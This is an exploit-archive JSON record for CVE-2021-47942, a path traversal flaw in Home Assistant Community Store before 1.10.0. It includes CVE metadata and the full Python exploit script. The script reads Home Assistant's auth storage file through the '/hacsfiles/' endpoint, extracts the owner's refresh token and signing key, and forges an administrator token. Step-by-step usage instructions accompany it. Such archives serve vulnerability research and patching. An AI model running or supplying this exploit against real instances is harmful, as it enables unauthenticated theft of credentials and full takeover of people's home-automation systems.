{"exploit":{"id":"EDB-49495","name":"Home Assistant Community Store (HACS) 1.10.0 - 'hacsfiles' Unauthenticated Directory Traversal / Account Takeover","description":"Home Assistant Community Store (HACS) 1.10.0 - 'hacsfiles' Unauthenticated Directory Traversal / Account Takeover","cves":["CVE-2021-47942"],"author":"Lyghtnox","published":"2021-01-29","platform":"python","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49495","path":"exploits/python/webapps/49495.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49495.py","vulnerabilities":[{"id":"CVE-2021-47942","state":"PUBLISHED","title":"Home Assistant Community Store 1.10.0 Path Traversal Account Takeover","titleSource":"CVE Program","description":"Home Assistant Community Store (HACS) prior to 1.10.0 contains a path traversal vulnerability that allows unauthenticated attackers to read sensitive files by traversing directories via the /hacsfiles/ endpoint. Attackers can retrieve the .storage/auth file containing user credentials and refresh tokens, then craft valid JWT tokens to gain administrative access to Home Assistant instances.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47942","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47942"},"updatedAt":"2026-08-14T16:49:21.762Z","retrievedAt":"2026-11-26T02:17:57.508Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49495.png?v=2","url":"https://exploitbin.com/exploits/EDB-49495","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49495/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49495/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover\n# Date: 2021-01-28\n# Exploit Author: Lyghtnox\n# Vendor Homepage: https://www.home-assistant.io/\n# Software Link: https://github.com/hacs/integration\n# Version: < 1.10.0\n# Tested on: Raspbian + Home Assistant 2021.1.0\n# Blog post: https://lyghtnox.gitlab.io/posts/hacs-exploit/\n\n# STEP 1: Run the exploit (python3 exploit.py host port)\n# STEP 2: Copy the token printed and set in your browser's local storage with\n# the key `hassTokens`\n\nimport requests\nimport jwt\nimport json\nimport argparse\n\n\nclass HA:\n    def __init__(self, ip, port):\n        self.ip = ip\n        self.port = port\n\n    def retrieveFile(self, f):\n        url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'\n        with requests.Session() as s:\n            r = requests.Request(method='GET', url=url)\n            prep = r.prepare()\n            prep.url = url\n            try:\n                r = s.send(prep, verify=False)\n            except requests.exceptions.ConnectionError:\n                return\n        if r.status_code == 400 or r.status_code == 404:\n            return\n        return r\n\n    def craftToken(self):\n        f = self.retrieveFile('.storage/auth').json()\n\n        # Find owner\n        for user in f['data']['users']:\n            if user['is_owner']:\n                self.owner = user['id']\n                break\n        else:\n            print(\"No owner found. Using first account\")\n            self.owner = f['data']['users'][0]['id']\n\n        for token in f['data']['refresh_tokens']:\n            if self.owner == token['user_id']:\n                encoded_jwt = jwt.encode({'iss': token['id']},\n                                         token['jwt_key'],\n                                         algorithm=\"HS256\")\n                self.token = {'access_token': encoded_jwt,\n                              'token_type': 'Bearer',\n                              'refresh_token': token['token'],\n                              'expires_in': 1800,\n                              'hassUrl': f\"http://{self.ip}:{self.port}\",\n                              'clientId': token['client_id']}\n                return self.token\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Exploit a vulnerability in \\\nHACS < 1.10.0 to gain admin access to an Home Assistant instance.\")\n    parser.add_argument(\"host\", type=str, help=\"IP of the HASS instance\")\n    parser.add_argument(\"port\", type=int, help=\"port of the HASS instance\")\n    args = parser.parse_args()\n\n    r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(\n        ip=args.host,\n        port=args.port))\n    if r.status_code != 404:\n        print(\"HACS found! Testing vulnerability...\", end='', flush=True)\n        ha = HA(args.host, args.port)\n        if ha.retrieveFile('configuration.yaml'):\n            print(\": VULNERABLE\")\n            token = ha.craftToken()\n            if token:\n                print(f\"Use the following 'hassTokens': {json.dumps(token)}\")\n            else:\n                print(\"Unable to craft token\")\n        else:\n            print(\": Not vulnerable\")","sha256":"1699f1c497de4087601128dc7c4bdb2df73451d15cd2b180a39decade283f445","bytes":3160,"fetchedAt":"2026-11-27T00:06:45.304Z","encoding":"utf-8 (display only; download retains original bytes)"}